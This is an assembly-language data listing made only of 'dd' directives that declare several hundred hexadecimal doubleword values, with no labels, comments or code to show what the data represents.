dd 0E49CE63Bh, 6159E242h, 4BA304A4h, 19EEC134h, 1878EEF9h
dd 89C858CCh, 0C29B00F9h, 0DF70DA5Ah, 905BD43Ah, 287B2F0Fh
dd 3D236511h, 2E4AEA18h, 181126C8h, 0D3D49779h, 8DEAB3E1h
dd 8833195Ah, 9D8ED52Fh, 11BE4723h, 0AD684637h, 1A5360C0h
dd 128668Dh, 352F3FC7h, 0D24FA0B3h, 1B99B231h, 8925B191h
dd 6D7F27D1h, 66D2AA9Bh, 9893CC21h, 0BB4EC269h, 0DF4C99Eh
dd 0A8D80AFCh, 9668009Ch, 668F1473h, 0A2C0E104h, 0D258DD99h
dd 5EBE041Bh, 0FBFA8A9h, 0F01F9619h, 63B02759h, 0FB19ABF3h
dd 30F7DA25h, 4AAAD2E3h, 96CBF21h, 258F7D2h, 8723D6B1h
dd 0D668E0DEh, 8C4D7D99h, 3CC41ECEh, 0CA9347A3h, 2A844107h
dd 0E0FDAD33h, 76509D3Eh, 0EC5B5B02h, 0E396B64h, 0B31A804Eh
dd 0DB626915h, 85B4B161h, 744A7802h, 0B0F316ECh, 1332D237h
dd 30B18EBEh, 85BEE113h, 5EDFAD7Dh, 0A299D5EFh, 1DCB4E42h
dd 61CF89F8h, 9B1B7CC7h, 5E73C941h, 3C3E0A12h, 0E7FA49D4h
dd 89F3B0BAh, 0F779F361h, 86868A03h, 0DB060496h, 0E1613402h
dd 1A0D4B73h, 0DF5274B2h, 0ED61A970h, 4BA52551h, 0A5BEE80Bh
dd 0F8144228h, 0C7D8AD25h, 6C6739E4h, 0FF35C8CCh, 0EB21606Bh
dd 570FB999h, 0EFF7FF0Fh, 8D617089h, 56A9CB26h, 25C8F5B9h
dd 0FEE947D7h, 0E45406B4h, 0F47844BEh, 0E57C4B54h, 68B0C9E7h
dd 0DCD2478Eh, 0BD1B1B83h, 5F00B6F1h, 0F371AFF3h, 0FAEB4BFh
dd 0EB46A320h, 6E39914Ch, 4A53594Dh, 0D887B8D0h, 0D30EA90Eh
dd 0D218F373h, 278198C8h, 25F15773h, 5BF8F314h, 3B44DAF6h
dd 1BAFAFEAh, 0BEB3F173h, 38C0BE37h, 0D48113BBh, 0A2C32FF4h
dd 0C3C8FAE7h, 96AB8E88h, 0C32EECF7h, 5BFA3C92h, 1BAFF238h
dd 0DB278B82h, 0C3D6C4B4h, 975CA73h, 2654EDh, 0A34F9AA9h
dd 0CD9303CDh, 50F0447Fh, 0EEC67DDBh, 678F936Ch, 576B7FE3h
dd 4435918Eh, 7BF200EBh, 0A770BD2Fh, 85F1622Eh, 23961D93h
dd 0EA71B138h, 0A264EDC6h, 0B633D58Dh, 0DFD0A2CCh, 0E70093F5h
dd 7C8916F7h, 0EFB4AED4h, 738CD6Dh, 68C1D6F9h, 0F0C9EE52h
dd 0D1BCBA48h, 0BFF5C5Bh, 1D4F24C6h, 0D3CE3236h, 0C5AC5457h
dd 6A3DDF72h, 77BF78E0h, 57721304h, 0E2E7F62Ah, 66D37F27h
dd 35020AABh, 4248284Bh, 8F2DC1CAh, 603C13D3h, 8846C0DEh
dd 0D1B7AAEh, 5F4C84EEh, 6365FC39h, 0C14110F3h, 8AD73C1Eh
dd 8024E50Ch, 68840D09h, 0CC79CA28h, 4E5C9D08h, 9087846Fh
dd 71C42864h, 17803D81h, 28CF72DDh, 1336C8B6h, 0BA2FC6CFh
dd 0A5B1485h, 0EBD092F6h, 0D2747200h, 262400D7h, 0E4007240h
dd 74519702h, 0A9240E4h, 0B471EA79h, 1D7BD941h, 18EAA05Fh
dd 0A2A4BC0Ch, 0DC242049h, 75F15D0Bh, 2E62417Dh, 0AA152714h
dd 955D24Ah, 0D20D803Bh, 8FA64203h, 3FE8E812h, 0E15B32DDh
dd 0CA704BABh, 7E719D82h, 8B12B985h, 729E648Dh, 9BDA2A15h
dd 0A8294844h, 0D7C260AFh, 13F6A082h, 6BB31583h, 1CD2AF77h
dd 0F08292Fh, 96466DBEh, 0AF5E35CBh, 7D3B72E4h, 0D3F11F2Fh
dd 485E2790h, 0C579B809h, 93F3A839h, 509A476Fh, 0FDC6A457h
dd 3C85EE8Ch, 84DC4094h, 0CF7B0B1Eh, 91161BB3h, 0C25FE8DFh
dd 17FFF12h, 154F35A7h, 4DDB3455h, 9059C58Dh, 4C10B7DAh
dd 0DBDE04BBh, 813D69F8h, 0B7A36BC0h, 63BFFDC7h, 3F1186D6h
dd 0F81DE040h, 7FEBE7FCh, 95E53B10h, 0AA6CB9E1h, 3A11BB5Ah
dd 15828DB7h, 5E16A7D8h, 5A9DEE71h, 3B975890h, 4B04E47Ah
dd 8F4A6B9Fh, 183E94F9h, 62D7D205h, 6E0D8CD7h, 4E8E16D5h
dd 9B19E5D6h, 58B002D1h, 0B655FE1Fh, 8B945191h, 652E32D4h
dd 0D1C35BC9h, 3B992F78h, 0EB4D90D5h, 0F4314322h, 0D5D9064Ah
dd 5BA8596Ch, 0C4A9D73Ch, 5FB6760Dh, 0D3494BD4h, 0F74783E2h
dd 17B7C30Bh, 0C356F468h, 10F90DD8h, 5D567FA0h, 64928B51h
dd 3823853Bh, 0CCF8ECBh, 0DA69FC2Dh, 8FDC3F58h, 0BEB20FC0h
dd 64C7E298h, 0C2FD7F2Dh, 0C7BB310Eh, 0C74B76EBh, 5DAF119Ah
dd 1516AEADh, 0C19878B4h, 30E34BC2h, 11814FEBh, 4DC0902h
dd 6A5333BAh, 672035EFh, 73D05E60h, 50276C53h, 0BB0D0FC7h
dd 1A8D7512h, 6BA68D9Ch, 7BEC2791h, 0C139BF33h, 0ABEB26FFh
dd 0A1935103h, 666A1E24h, 2299163Fh, 3678631Ch, 55255F68h
dd 0D67D3A73h, 0F3BABBCh, 3528E212h, 1007133Eh, 34B3BFDDh
dd 0A1B1F1C1h, 0F859F818h, 0C3F08D35h, 0F419F2E8h, 43971A86h
dd 4C134820h, 0D0B597AAh, 1D8ACF57h, 3C50EAAEh, 89CBF2B6h
dd 0D18DAAECh, 0CA961596h, 0F60F5E3Fh, 982464AAh, 6DCCA1ECh
dd 872D640Ch, 4AB4FA92h, 0B34DD9B0h, 5E0C76D8h, 78002CB4h
dd 0C87BC836h, 0C8F494CCh, 0B249E3CBh, 499A3C1Ah, 649D1AE5h
dd 0DC3ACB2Bh, 14012FC7h, 0FF829F98h, 22693255h, 0F3D28242h
dd 1DFE45AEh, 626C6809h, 2222386Ch, 555E6C9Dh, 2BEC6136h
dd 0D23C1C2Dh, 4222D027h, 0AEAA6230h, 0B286D873h, 3A770545h
dd 0E04F5138h, 0C9116982h, 80E23C28h, 12458BACh, 0D79EECF4h
dd 0F0DFF37h, 8A51C768h, 0CF0811E7h, 0EF7109EEh, 0D6A62959h
dd 60E1DEDDh, 2640B6B5h, 9FDEC4DDh, 0E266F431h, 0C5E6A48Ch
dd 2E00F27Fh, 901060CFh, 0C34C3DB8h, 7D4CA338h, 0ED02F26h
dd 0E203EB7Bh, 3C100BFDh, 5693AF85h, 3FE5B013h, 0A75F56FBh
dd 0DDA16D4Bh, 8773874Eh, 0B7490BB0h, 0BF6E28AEh, 0A8C2BAF5h
dd 8B1D7083h, 278A0285h, 2E6730F8h, 0B0A95E0Bh, 9DB30D02h
dd 0F9435E59h, 0BF5D6CEEh, 4D990A04h, 0F043F4C7h, 0F3ACBBE0h
dd 7953C29Fh, 0DDA8F04Ah, 0C28AC492h, 0BC3F3E74h, 5AF08640h
dd 27098137h, 8A7EDBF9h, 9CE97351h, 63430EBDh, 0C9C51346h
dd 0BCE2CFADh, 0A561D7D6h, 0B4466E2Eh, 7BE045ECh, 864EE20Ah
dd 0E7A1EE26h, 8993C828h, 0A1E68337h, 306FD49Bh, 0AB649B78h
dd 82CADB62h, 0EA2822DEh, 0F7407C0h, 346250ACh, 0F67AAB1Eh
dd 0B3D4995Ch, 56E6E362h, 42EF8288h, 0B891C757h, 9BB9D809h
dd 0D0725275h, 1DA44AB3h, 0CC94348h, 5C44FA99h, 0FCD80E0Dh
dd 9BF5A52Dh, 8D52ED11h, 0AF452C0Bh, 9383C09h, 83D42949h
dd 54CEA970h, 53CC0E62h, 6C222775h, 0D4D8E20Ah, 223C2FB3h
dd 0C1023Bh, 0A5939ADBh
dd 0FF538FF1h, 5DB472FFh, 0B2BD13CEh, 0BAB9527Ah, 763D3CECh
dd 40B5C8D3h, 0E6BF33CAh, 74B19EFDh, 514E0F43h, 0E0A6AEF9h
dd 0AFA63BA4h, 63875A1Ch, 0EE76F87Ah, 621B1BFAh, 94C2DE73h
dd 0F513A165h, 806DAA47h, 0B28881F8h, 370EE042h, 0ECCD3132h
dd 88BAF136h, 0AE1151E3h, 0FF74AA59h, 87FE7D48h, 6FA31481h
dd 960E0A81h, 472C7FF3h, 557C6171h, 0B5641C9Bh, 0EB66F085h
dd 0B332B235h, 0EAE30C26h, 75FB6E4Dh, 0E7B91BDEh, 7C8A2607h
dd 0CBD72220h, 3E862D90h, 0FDFB6A3Eh, 60BEE7BCh, 98EE8321h
dd 0DA2C6E76h, 5A9D17D3h, 0A1B8E72h, 2252F53Bh, 0CFE4167Bh
dd 1B95015Ah, 0E9E403Bh, 0FA1E6D0Fh, 0BA02B2E1h, 58CB54F0h
dd 206F84B6h, 1E9FDD98h, 96B4421Ah, 0AEF87AA6h, 3850BBD8h
dd 0DCC96CBh, 0FD72D405h, 4688D0C2h, 84DE8888h, 3AE18B2h
dd 48BAB224h, 0EC45C72Ah, 3FC22E62h, 1FD4C61Eh, 0F4DEB415h
dd 9492EB25h, 0E5FE3009h, 788263E0h, 17AFCBDEh, 497E908h
dd 4DC49E28h, 4E5DC7B6h, 367AC9A7h, 603479DDh, 6D6BA63Bh
dd 0A4D252C4h, 72583358h, 275198E7h, 0FFF354B5h, 89F588BAh
dd 2A70B7E9h, 0D77E9098h, 40F34E9Eh, 0CCDF2FC6h, 17BDDBE4h
dd 26B18C31h, 0C080E2A3h, 22BA0E1Dh, 89A9DCFFh, 80615DBCh
dd 41937BF4h, 0F935D690h, 5E3CC45Eh, 75BB4F88h, 6358C235h
dd 42543F3Ch, 4383739Eh, 0F639F38Dh, 0E05A45FCh, 0C29069FCh
dd 8BACAAA0h, 7FA2F39h, 0C22D7201h, 4C362B49h, 60C142E0h
dd 4D9BE705h, 66690033h, 0DD0AEF4Bh, 6E83C731h, 49DE387Ch
dd 77CF9B45h, 236239EFh, 0FB756396h, 0C5B5176Eh, 5B3C8901h
dd 0B0AECEE6h, 2F334A22h, 0B89E562Dh, 0D6E3159Bh, 60DB733Eh
dd 56C6F468h, 0E33AD5E2h, 0AE8437C0h, 5B770731h, 6191554Ah
dd 0E5CE808Ch, 73364FCAh, 0D14121A3h, 0DB1629DBh, 6B52094Bh
dd 3AE3750h, 0DA43ED7h, 0C1B7939Ch, 5BCBFCBCh, 1DBD7E28h
dd 73409A03h, 5E4C5DFDh, 6242172Dh, 7B592771h, 247A8BAFh
dd 0B923A69h, 174157EAh, 0D0721783h, 994639Ah, 0B250C036h
dd 1BA14DDEh, 24EFC305h, 0FED51208h, 8B942D41h, 1F5033B0h
dd 9C747E8Bh, 0D76C6FC6h, 41D1464Dh, 0D78F68Fh, 0F471F3CCh
dd 7037936Eh, 126FA862h, 7A29C02Ch, 246D8CF0h, 30BE081Ah
dd 0D9163BC8h, 3B87A886h, 54919FC4h, 3A9048BAh, 89DCEF37h
dd 0DC844F30h, 88BE8D96h, 3A6D3F02h, 0CEF17A18h, 2C45158Eh
dd 108C320Eh, 0EB578250h, 896351F0h, 1EC525F4h, 572C531Fh
dd 9D10BA6Bh, 0D2C60EC3h, 92F7175h, 54F001A6h, 14AF702Bh
dd 100B1EC7h, 0A0911588h, 2EA09ECAh, 0AE046A86h, 42A3BD64h
dd 684A065Ah, 4B0F3445h, 0F68A8E20h, 76DB0CF0h, 8C5A9D06h
dd 759C8C38h, 0B17774C0h, 2FF1759Ah, 0EC385DE7h, 0E5B15Dh
dd 0A1721052h, 0D0B01C19h, 320CA174h, 0D0D8B9C9h, 216FBF3Dh
dd 0A34FAEA0h, 798AB62Bh, 2E9EBAC7h, 62DF6C8Eh, 3568674Eh
dd 5F46404Dh, 0C9B8B5D6h, 64152340h, 0E8E5C0FAh, 41708972h
dd 1ED00B60h, 27704FECh, 0C55F22AFh, 0CD2094D2h, 7C86BD90h
dd 1AF39FD5h, 0AF058B63h, 4E667FBDh, 57A3AC8Ah, 0C061AF64h
dd 50A10466h, 0FD42D26Ah, 203BA842h, 0D6BC8B4Bh, 3A0B9BA6h
dd 44D8B87Bh, 518935FCh, 859AC7EEh, 0DFC9325Ah, 0B9D062D7h
dd 0EC24086h, 0A214E689h, 0F1FB3AC8h, 839456F5h, 0D7C356CCh
dd 469345A7h, 61ACF1Ch, 8AB56404h, 0C485A6A6h, 0D2619A82h
dd 13A65701h, 0A9AEB0ECh, 0F2803D2Ah, 66CB13E5h, 6E082073h
dd 0BDD1512Fh, 2F33B30Bh, 7472AF6Ah, 0EE13CFA4h, 41C042E4h
dd 7AA0D83Ch, 303B149Ah, 0F73AD29h, 62E9279h, 20E36249h
dd 7B017A34h, 254B1B72h, 552B75B8h, 87F20D31h, 3CF32E7Eh
dd 15ADED61h, 58801AE2h, 0F180C56Eh, 9D368F0Dh, 0F2924CF6h
dd 3082ECD9h, 0B6E5D96Bh, 80FB88CEh, 8BB435E3h, 0CBFE7B33h
dd 2DA87E88h, 0D615ABE6h, 7D9FCA1Ch, 53EB2562h, 7FEB9FA2h
dd 8BC998C8h, 2B9F1329h, 0C92E3115h, 7D13461h, 8CD23FE3h
dd 0D9E02973h, 30835CF8h, 4DD12CE4h, 3C50AA60h, 0DB8145B3h
dd 0B39DC936h, 111500h, 0F5E81BA3h, 0BBF739ABh, 36A7DBEEh
dd 3EF35EABh, 1EC089D1h, 0F5AAFA75h, 331C2F7Dh, 7B774246h
dd 961E854Ah, 502DDC40h, 0C7576C83h, 0F38C1F0Eh, 9F02F865h
dd 0AD7CA9DAh, 5FE140BFh, 7AFF99AAh, 0D48882h, 226FCB03h
dd 12185F3Bh, 0A17C39EBh, 0EADF1963h, 0F2ADA901h, 766587A7h
dd 2BBE8930h, 0D7F1070Bh, 1948DE08h, 0CC21A91Ch, 5A4DFD7Fh
dd 3DB30190h, 5D25DA84h, 426D3D8Eh, 9097E7D6h, 78BA7BC5h
dd 0E1AA9C43h, 151933E3h, 0B9E48711h, 0E7A2A5F7h, 16A26326h
dd 0B798E0B5h, 0D87D0DB2h, 0CB88C264h, 8B6019CDh, 0C92231Ah
dd 0B406E6A7h, 0D21878F0h, 0A9505CCh, 0C80CD8EBh, 0A992627h
dd 0B7151A0Eh, 3B21CCB6h, 0E4BAEC42h, 5E55A5ADh, 9D145C43h
dd 0BBED7624h, 36C2609Fh, 9CE1F941h, 34BC5063h, 4072A720h
dd 80C420F5h, 0F9E49BECh, 0C379A8A8h, 7534EA3h, 32389E4Eh
dd 0C5D08D9Ch, 3FCD7818h, 0B374C301h, 94A8DBDAh, 62B87726h
dd 5252178Eh, 32659A66h, 6F7362A5h, 0D93472A2h, 0A381FAA8h
dd 0B046FC2Ah, 0B513EB1Fh, 7CD30096h, 9D503730h, 8F239349h
dd 11BF24D3h, 0B82C23C7h, 2411A48Ch, 3B47449Eh, 33FE1575h
dd 10721069h, 91565C06h, 4A3ECDC4h, 156AE901h, 0EBC124F6h
dd 0BBD15B0Bh, 0E2673D4Ch, 64DA5CD9h, 0A5DED33h, 0D083EB6h
dd 88C3F1F1h, 3CC60642h, 3B467C91h, 89519750h, 0B6929550h
dd 0C036D260h, 0DBC80DEh, 5AD1685Eh, 4D3A3432h, 8C2626FCh
dd 77ADE994h, 486A48F4h, 0A07ECF54h, 4E8C76DBh, 8146F2Ah
dd 0BBBB302Eh, 0E812D3C9h, 79E435A8h, 6C8A9E6Dh, 189C00AFh
dd 0B5BA584Ah, 9B0794E2h, 2AF1CBEh, 0DB599ADh, 0B6CB2FA4h
dd 0B4CC8CF2h, 75DEC64Ch, 1F53C607h, 4658BF80h, 170F6F9h
dd 0AF35E407h, 4646144Eh, 0FD7BFC84h, 6A5CCC6Ah, 28147C0Bh
dd 0A1E9918Eh, 63620E18h, 4F32F2A7h, 53BEC4ACh, 38E2B77h
dd 59907EE8h, 0AE9200CDh, 6CC58A33h, 0B30A77BBh, 1FA16FFBh
dd 884A0D28h, 2B31AF7Eh, 4AD6023Eh, 80318670h, 0C8148F2Dh
dd 0CBF178DFh, 3A4B0D40h, 99DE1232h, 0B481E7EBh, 0EFA61A3Dh
dd 0B1FCA500h, 67CB956Eh, 5898B190h, 83FF2B49h, 54671CA9h
dd 53AFCD8Fh, 0E7B30E1Ch, 746254B4h, 0B9773D4Bh, 0CBAC7EDBh
dd 0BDC876ACh, 1750909Bh, 29D7C063h, 0BE069BBDh, 0B4D4D2C7h
dd 6AD6E059h, 9A0EB275h, 7A4B0E24h, 5E0A3264h, 41A58C9h
dd 0CCB41362h, 43B9521Ch, 0C8BF6D23h, 7BF92974h, 32F9F73Bh
dd 0DCCC051Dh, 75FDB86Ah, 0C71E4E52h, 0E6B299B8h, 9ED98F82h
dd 62E8513Dh, 14A92457h, 0A945B50Fh, 31364BCEh, 0CDBC1721h
dd 40323EC8h, 0B6D8DD37h, 0FD020C87h, 0D8630E2Ah, 6E8FF0C7h
dd 0C1B3EFBDh, 1BBB9581h, 0D7CBC4E0h, 26BDE20Eh, 0BEF5CF18h
dd 4A24AF7Eh, 0A0DED70Dh, 0FAE05B35h, 2C9295FFh, 3493657Ch
dd 2DC4D4AEh, 0EC34ACAFh, 53ED6F35h, 61969DBBh, 46CFDB10h
dd 0E6DECA3Bh, 0B0AA1079h, 0E4C5E5E2h, 2310C0DDh, 0EA7FC0CFh
dd 0DF46BBB6h, 8110D51Dh, 53B1B917h, 28413D38h, 8A6F954Dh
dd 0BB9F3A2h, 0FC13004Eh, 5DA85268h, 2BA63324h, 0C545153Fh
dd 0FA3EE4B1h, 26F05672h, 8D6CB803h, 1BDC99F5h, 0ADB91B51h
dd 0B452A874h, 34CA77EDh
dd 2E71FB51h, 0FFDC1C88h, 7CDBBB9Fh, 0C2E40D0Bh, 0D9EEA02Ch
dd 0C0AE32CAh, 7DD24723h, 8F8264DBh, 41933330h, 484CA271h
dd 0D9C91D6Dh, 0FC3118E4h, 6C7537D6h, 789ECB00h, 4D8F065Dh
dd 0AA0A033Ch, 726CC17Fh, 0AA9C9DB0h, 7E16D190h, 0CCE68FE8h
dd 0ECFBDB4Bh, 635D8444h, 73B45303h, 1C98C582h, 919798CFh
dd 28FB9E3Ch, 542B3A35h, 9D98CCC1h, 832D604Eh, 0D820B199h
dd 4D034BBAh, 0D0B2A8AEh, 77E8C137h, 0DA05C3FDh, 792637BCh
dd 5418C718h, 7D4AA629h, 3243BCB3h, 69215EB5h, 0B26E44D0h
dd 9E6D5740h, 70DAF78Ah, 4B1AE639h, 0AC5AFAE1h, 0C48E5A47h
dd 4D2ED0Ah, 0B1C1E3D8h, 64831C40h, 3F06743Ah, 0D98A7A6Eh
dd 8D2CA275h, 0EF41B3E7h, 0CF9A6610h, 2D9F5AEFh, 3B8B09AEh
dd 8AD720B1h, 30FF9739h, 5787E0EAh, 274F1577h, 4E4B9150h
dd 1FB03C37h, 1DB76587h, 0CFADC21Fh, 97D685B8h, 0F2AAE89h
dd 41CE3E1Dh, 471B3EFEh, 5878FB3Fh, 27C40BFDh, 0BBAD04E4h
dd 55393F9Dh, 8AC707EAh, 0E40AE1Dh, 0BBE60F61h, 3F91390Dh
dd 0B797CBAAh, 0F5FA2CB0h, 1AFD5AC7h, 0C73341B8h, 8CD8EE2Dh
dd 7B0E62E9h, 6071AC22h, 0EAE685A2h, 2F10B9FCh, 0C2441674h
dd 0B117DB50h, 4669ECD2h, 0E91A686Dh, 7D0A6C44h, 41E301DBh
dd 92C4A63Ah, 0C8A8E2Fh, 1A4B5922h, 0D7BECE05h, 428CD4B4h
dd 70CC8ABEh, 38C3FF29h, 3719C330h, 0D651ECA8h, 3B62E9C1h
dd 8BE8A747h, 20D33BADh, 863EAA81h, 26ADECDEh, 0A34B9D6h
dd 0CBA740A4h, 21E98B0Ch, 1F7EAEF2h, 2E1A87h, 23FD3C9Ch
dd 0A1F4CE5Eh, 32C5CD90h, 1DC19299h, 13592E85h, 454C8952h
dd 9D666D09h, 0B79DDBFh, 59599960h, 1B92BFD6h, 0BD30A6F5h
dd 483B18EDh, 1164EFA2h, 7D042631h, 225C3ABEh, 5FD7A9D8h
dd 5ECF66B0h, 7AF6001Ch, 39604A43h, 6D68C365h, 3EC0EFB7h
dd 53554722h, 0E106ABC5h, 0EA3D0DACh, 37B4E287h, 33C76008h
dd 9F4D6F98h, 0AF0AB99Ch, 1BFDA1A8h, 0CACD5C14h, 73AEF7B8h
dd 16A28C6h, 33581EDCh, 15A4375Dh, 25ED8109h, 7F383F67h
dd 9F476CBBh, 0BD271E20h, 74B0166Bh, 0BD6DD983h, 7037ABBDh
dd 0E700CE68h, 12795497h, 0EC5D0026h, 83B93017h, 56A0EB46h
dd 4554795Ch, 0CEAA546Ch, 703B2AD9h, 8E0AEFCCh, 0CFBCB15Dh
dd 9BC0782Eh, 0DFD19239h, 8A6F0BE0h, 0FA85EF4Bh, 0EADB08D3h
dd 8C953882h, 5AB02F87h, 0C020F5EBh, 5AEEAF2Ah, 69A8404Bh
dd 0D6DFB746h, 0D906B2B8h, 0D403B5A1h, 0CA583B9Eh, 0E70E6033h
dd 0E2A353A6h, 0C7F6FB64h, 29A1A5DBh, 1476778Dh, 0FC3AEDE9h
dd 6834CCFEh, 99451610h, 0B7B83C23h, 2B7B6E92h, 0BBA9A635h
dd 0BE93D9CFh, 53D0CC9Ch, 0DD4D4751h, 3CF8527Fh, 7558AFDEh
dd 76AF2FBDh, 92AFF687h, 1BC67BCFh, 7968A02Ah, 1B658E26h
dd 68758D7Eh, 373EC1B3h, 4E83C9DFh, 45FA2432h, 5AC22574h
dd 6BEED439h, 4BE005E7h, 0FA9674C2h, 0BBB21A1Eh, 0F2B3CFFEh
dd 6130DA9Bh, 0F15ADC86h, 12A49217h, 32B8A118h, 80775105h
dd 0A60A79F3h, 183BEDEh, 4F5C47B5h, 271B6F50h, 41AE010Fh
dd 68AE2C47h, 9293E07Ch, 79453EF1h, 612170EDh, 4A90113Eh
dd 0CEF67573h, 96D5F54Dh, 0C4530D21h, 3B1DC6B9h, 403AAA81h
dd 0DD3F5292h, 4269B703h, 22287561h, 3ED8FA27h, 309F4F07h
dd 90A4A466h, 714FB488h, 71827FBCh, 0B8BC31C0h, 8DB40F4Fh
dd 46C27C50h, 9A82E65Dh, 0F1C9272Ch, 67DE4059h, 0DAB9620h
dd 0E3BB358Fh, 91EA4A1Ah, 0A8B166EEh, 0D06B4759h, 0C4B8FF4Ah
dd 0ED56C40Bh, 0F9C3B057h, 0F92BE5C8h, 0C0A3D8F9h, 2AFB3319h
dd 0CF11F61Dh, 13546362h, 39F48D77h, 7E185994h, 0CDB44ABDh
dd 285A96Ah, 78F3B1A2h, 0B79BF7B1h, 7404D70Ch, 908400DAh
dd 67B3DCDEh, 0AE783970h, 2B65A016h, 99A31B3Ch, 965D31CFh
dd 428A3959h, 0CDF58C3Ch, 0D7D90F0Eh, 0EE237D06h, 55784728h
dd 770EE872h, 6CB6BD79h, 467C1A69h, 0C75F7CDBh, 75A49F18h
dd 4825B498h, 8D8DD4DEh, 4DE5D6BDh, 0C7E1D816h, 0A3F89180h
dd 0B19265C0h, 0FCCA7CF6h, 37ADC80h, 12F2487h, 0C0E11295h
dd 1F71DEF8h, 0AC8B699Ah, 0CCA0ADAEh, 0D69B049Dh, 0D9C2D2F4h
dd 0F509CF17h, 919FADA8h, 96AC853Ch, 0FDA165Fh, 110E1078h
dd 269F0603h, 0F5D2F986h, 75233177h, 71BD521Ah, 0F66BA1F3h
dd 0D3E278D8h, 0FF78EC0Bh, 25FF8D82h, 3F32173Dh, 0D3EEB401h
dd 0F7337369h, 0AB8D86E2h, 0AC419573h, 34A06159h, 54335C07h
dd 0D2D19B4Eh, 876DA93Fh, 0E70582E6h, 9CA86EDAh, 439AF5A2h
dd 8026FF6h, 940B6B8Eh, 0CF752FB8h, 1ACE6583h, 0E4046510h
dd 23B0EDA3h, 150F9649h, 0C6327557h, 0F9AE1C95h, 9D81D373h
dd 3BAA6F65h, 0EBCA5A86h, 0AA86D0DDh, 5698CF43h, 0F23241B3h
dd 0D21E2B2Ch, 16ED5162h, 0F08D37D7h, 4819DA87h, 0ECDAF287h
dd 0FA5F882Ch, 0DFCAF014h, 57FDDC2h, 5E342964h, 5AD36AEDh
dd 8EA98F87h, 0E9C7CBDCh, 4FD03470h, 55D0E4BDh, 0DF290DC7h
dd 0CD56C419h, 5609E4B3h, 0DFBAD53Dh, 0F4DC7672h, 0B018009Dh
dd 0CCA3BE6Ch, 63CD773Ch, 51618234h, 96C3FCEAh, 9A38D88Dh
dd 82A40440h, 7A16889Eh, 0F0B3A203h, 97A14224h, 0C51A1709h
dd 8EF9652Ah, 0F01280B6h, 0AEE7E06h, 361ADA9Dh, 0F6C08715h
dd 0DC86BDC5h, 85D0F571h, 0EB0B4313h, 46D00806h, 93443969h
dd 0FF2E91Ch, 1D345AA2h, 65959496h, 0D0D60B78h, 9FCBCCC7h
dd 9B8EC516h, 0D5193C45h, 356C2068h, 0BA0FD809h, 0B950FB3Ch
dd 7A0653FEh, 0CC628FD2h, 20AF15B7h, 0E6E94127h, 0BC341227h
dd 231C842Eh, 0DFABF60Bh, 115F221Ah, 532B4C90h, 5D6A69ECh
dd 0ABD183BAh, 0ABDAB855h, 0A439FBECh, 688B2AB2h, 34B5E8F2h
dd 0C2D3FFABh, 0E8F99956h, 0F44835AEh, 0BE8AAFD3h, 8FD1DF27h
dd 7B2D688Dh, 96970FBEh, 0A132B220h, 8B5ECCE8h, 8BFE89E5h
dd 0A0CC66E5h, 2E81B3DCh, 45D6AFCDh, 1CD17369h, 0AB8EAF4Fh
dd 6781C779h, 4783A1AAh, 666787AAh, 5442EBA9h, 0EB0941D5h
dd 0A908909Dh, 0DCAFE0A3h, 3C1EC07Eh, 0AF5E06C6h, 3573F481h
dd 0C839878Eh, 394BCFE0h, 1B75ED5Ch, 0AAB71FDFh, 798EDB19h
dd 639FF521h, 8C9A4882h, 0D07F9C32h, 15CE365Dh, 26AD18D0h
dd 0A27760Eh, 6D7D7957h, 9F9D0FD1h, 0C848D9E6h, 4F3DCDA5h
dd 0CC39EE95h, 0D5C766EFh, 0BE96FB80h, 0F105E376h, 62B365C8h
dd 811AE21Dh, 9FC403F6h, 66CB513Ah, 0D4405560h, 0FE43C607h
dd 0ED0B14E4h, 8BFD1294h, 49BBD165h, 99E52BB9h, 0C7F5D8Fh
dd 6F0FAFA5h, 86357D3Ch, 0E5DFD06Ah, 3040FCBBh, 3D89A0D1h
dd 42CC521Bh, 20A12ADh, 45C41DB3h, 0FF08610Dh, 0EB166998h
dd 0C2D01670h, 125B62B8h, 0FA91A238h, 58C684F7h, 2798368h
dd 0B518965h, 641FA1D5h, 4FC0CACFh, 0AAAED0CFh, 9441D515h
dd 8720152Bh, 6708AB81h, 3725DEBCh, 1D6B2A4Ch, 1FEA0A51h
dd 44DDD278h, 28505AAh, 726237A0h, 26693FADh, 472EF2A4h
dd 0DE7B2A55h, 38B8CECFh, 9BB6D897h, 3436A2C1h, 0BFCEFE46h
dd 0F1BBC54Eh, 2FE6545h, 4AAC365Fh, 61B9917h, 48D743Dh
dd 862165AEh, 2E41F0DDh, 1D992521h, 26BF252Ch, 0AED393EDh
dd 6C194BC1h, 74F52183h, 0BE094C0Fh, 955D6320h, 2D9CFFB9h
dd 12D4154h, 0A2103AFDh, 4349D9EAh, 0C17AA4Dh, 4E0C3C60h
dd 0EA9F35ACh, 9AD9AC3Fh, 5F59ABA0h, 39D97F55h, 0CB61EAD7h
dd 193301h, 992E7F4Eh
dd 0CD6C6249h, 9316D0DBh, 0B3D9F71Ch, 0C40C7095h, 72284B05h
dd 0DFFD26E9h, 0B858F824h, 2FFAB9C2h, 743CF686h, 724CD26Ch
dd 0EBB5171Ah, 404E6703h, 0DDBE60DAh, 2ECB528Ch, 0C8BAD962h
dd 12AC2EA4h, 34997B92h, 0EC20E7AEh, 505A6951h, 4951FEECh
dd 0E873E981h, 5CB230F8h, 2BC9AD62h, 7BFE3922h, 81ED9760h
dd 258AB7CCh, 4EE50EB4h, 0C43CE31h, 86C60607h, 60C9F92Eh
dd 0C88E8CDFh, 0B604C623h, 6106B466h, 0DD1E34Fh, 488F1B87h
dd 0B5FF0384h, 218C4C0Dh, 22300CA0h, 7E65E1E3h, 0C71F6993h
dd 0ABCA9116h, 4B38A4BEh, 0F9B523AFh, 0DAE5E170h, 808FB5A8h
dd 32E59A24h, 6CD477FAh, 0E3DE48BFh, 0F1EF289Bh, 0E9AF122h
dd 0C4798789h, 0E0C071DFh, 0A3FED04Eh, 65D2E956h, 9AFF4BACh
dd 0A102170Dh, 27E38114h, 0F84AAB9h, 0A3AD693Ah, 99364AFh
dd 0F464C61Eh, 0DD267E8Eh, 3754F127h, 0E34642DDh, 6BF934C7h
dd 276465FCh, 0C9B1809Fh, 0D20787EEh, 0C1745DF3h, 0A291E2D3h
dd 0B7EACD1Fh, 8361A3B6h, 8626D123h, 6C428682h, 4A3B20A8h
dd 2051B0EEh, 0F789B767h, 0C2F1AC51h, 489EFE9Bh, 0FAA7EBA4h
dd 0B3E47A9Dh, 3032D23h, 4BB2F10h, 51DF4602h, 3D55E371h
dd 4086D498h, 0D8D68E2Ch, 52BC0BE8h, 0A017933Bh, 91698AB3h
dd 1D847F74h, 412B3AB3h, 629ECD27h, 0C14EDE06h, 10B21A29h
